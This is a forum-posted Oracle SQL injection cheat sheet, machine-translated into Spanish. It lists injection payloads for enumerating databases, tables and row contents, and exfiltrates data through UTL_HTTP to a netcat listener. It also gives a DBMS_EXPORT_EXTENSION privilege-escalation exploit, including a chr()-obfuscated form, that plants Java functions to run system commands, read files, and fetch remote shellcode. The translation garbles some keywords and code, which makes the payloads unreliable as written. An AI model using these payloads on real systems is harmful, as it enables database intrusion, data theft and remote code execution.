Esta publicación fue editada por última vez por test el 24-1-2015 a las 13:01
Comentario: -- No se soporta la ejecución de múltiples oraciones, y se admiten consultas federadas Los nombres de bases de datos, nombres de tablas y nombres de columnas están todos en mayúscula.
longitud(campo) ascii(substr(campo, N, 1))
y (seleccionar count(*) de dual)>0 -- Determinar si es oráculo o no
Orden de N--
y unión 1=2 seleccionar nulo, nulo,.....,nulo desde dual—reemplazar nulo por N o 'N'
y 1=2 unión select null, (sentencia sql) ,.....,nula de dual -- cambiar a (sentencia sql) en 'N'
y (seleccionar conteo(*) de all_objects donde object_name='UTL_HTTP')>0 -- Determinar si el UTL_HTTP es compatible (se conoce la IP de exportación)
y UTL_HTTP.request('http://LocalIP:port'|| (Declaración SQL)) =1-- Enviar mensajes remotamente a la escucha local, local nc -vv -l -p 1234
Sentencias SQL Selecciona banner desde sys.v_$version, donde rownum=1 para consultar la versión del oráculo select member from v$logfile donde rownum=1 Consulta la ruta del archivo de log (Windows o Linux) select utl_inaddr.get_host_address de dual para consultar la IP de escucha de la base de datos Selecciona instance_name desde v$instance para consultar el sid seleccione nombre de v$database Consulta el nombre actual de la base de datos seleccionar sys_context ('userenv', 'current_user') entre usuarios de bases de datos de consulta dual selecciona * desde session_roles donde rownum=1 para consultar los permisos de usuario actuales selecciona * de session_roles donde rownum=1 [y rol<>'nombre del primer permiso']
selecciona table_name de user_tables donde rownum=1 El primer segmento de la tabla de la base de datos actual selecciona table_name||','|| tablespace_name de user_tables donde rownum=1 Primer segmento de tabla, base de datos (para verificación, puede que no sea v$database) selecciona table_name de user_tables donde rownum=1 y table_name<>'primer segmento de tabla' El segundo segmento de tabla de la base de datos actual
selecciona column_name de user_tab_columns donde rownum=1 y table_name='Segmento de la tabla' El primer campo correspondiente al nombre de la tabla selecciona column_name de user_tab_columns donde rownum=1 y table_name='Segmento de la tabla' y column_name<>'Primer campo' El segundo campo correspondiente al nombre de la tabla
Seleccione el campo del segmento de la tabla donde rownum=1 viola el contenido de la primera línea Seleccione el campo del segmento de la tabla donde rownum=1 y el campo <> 'contenido de primera línea' expone el contenido de la segunda línea
Biblioteca cruzada selecciona propietario de all_tables donde rownum=1 consulta el primer nombre de base de datos selecciona propietario de all_tables donde rownum=1 y propietario<> 'Primer nombre de base de datos' para consultar el segundo nombre de base de datos
selecciona table_name de all_tables donde rownum=1 y owner='nombre de la base de datos' Consulta el nombre de la primera tabla de la base de datos correspondiente Selecciona table_name de all_tables donde rownum=1 y owner='nombre de la base de datos' y table_name<>'nombre de la primera tabla' para consultar el nombre de la segunda tabla de la base de datos correspondiente
selecciona column_name de all_tab_columns donde rownum=1 y owner='nombre de la base de datos' y table_name='segmento de la tabla' El primer campo correspondiente al nombre de la tabla selecciona column_name de all_tab_columns donde rownum=1 y owner='nombre de la base de datos' y table_name='segmento de tabla' y column_name<>'primer campo' El segundo campo correspondiente al nombre de la tabla
Selecciona campo desde la base de datos. segmento de tabla donde rownum=1 viola el contenido de la primera línea Selecciona campo desde la base de datos. El segmento de la tabla donde rownum=1 y el campo <> 'Contenido de primera línea' viola el contenido de la segunda fila
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); fin de varias sentencias; --','SYS',0,'1',0)--
Si 'es escapado, se usa chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(cap(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Varias afirmaciones || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Si varias frases son demasiado largas, puedes escribir la declaración en el archivo web y usar utl_http.request para recuperarla.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Crear un paquete JAVA SecTest runCMD se utiliza para ejecutar comandos del sistema y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE'' crear o reemplazar y compilar el código fuente Java llamado "SecTest" como importar java.io.*; la clase pública SecTest extiende Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=miLector.Línearead())!=nulo) str+=stemp+"\n"; miLector.close(); devolver fuerza; }catch(Exception e){return e.toString(); }}}''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
readFile se utiliza para leer el archivo y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE'' crear o reemplazar y compilar el código fuente Java llamado "SecTest" como importar java.io.*; la clase pública SecTest extiende Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=miLector.Línearead())!=nulo) str+=stemp+"\n"; miLector.close(); devolver fuerza; }catch(Exception e){return e.toString(); }}}''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
Conceder permisos Java y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''comenzar dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<TODOS LOS ARCHIVOS>>'''''''',''''''''ejecutar''''''''); fin; ''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
Crear una función Función SecRunCMD y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''' crear o reemplazar función SecRunCMD(p_cmd en varchar2) return varchar2 como lenguaje java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
Función SecReadFile y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATA '''' crear o reemplazar función SecReadFile(nombre de archivo en varchar2) devolver varchar2 como lenguaje, nombre java''''''''SecTest.readFile(java.lang.String) devolver Cadena' '''''''; ''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
Conceder permiso para realizar la función pública A SecRunCMD se le conceden permisos y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; COMENZAR EJECUTAR INMEDIATAMENTE '''conceder todo en SecRunCMD al público'''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
SecReadFile y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATA '''concede todo en SecReadFile al público'''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
Detecta si la función fue creada con éxito y (seleccione conteo(*) de all_objects donde object_name='SECRUNCMD')>0-- y (seleccionar count(*) de all_objects donde object_name='SECREADFILE')>0--
Ejecutar la orden y '1'<> (selecciona sys. SecRunCMD('Ejecutar comando') de dual)-- y '1'<> (selecciona sys. SecReadFile('dirección física del archivo') de dual)-- o y 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null from dual-- y 1=2 union select null,...,sys. SecReadFile('dirección física del archivo'),...,nulo de dual-- o y '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecRunCMD('Ejecutar comando'),' ',' '),'\n',' ')) de dual)-- y '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecReadFile('Dirección física del archivo'),' ',' ','\n',' ')) de dual)--
Función de eliminar y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''función drop SecRunCMD''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)-- y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''función drop SecReadFile'''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)-- |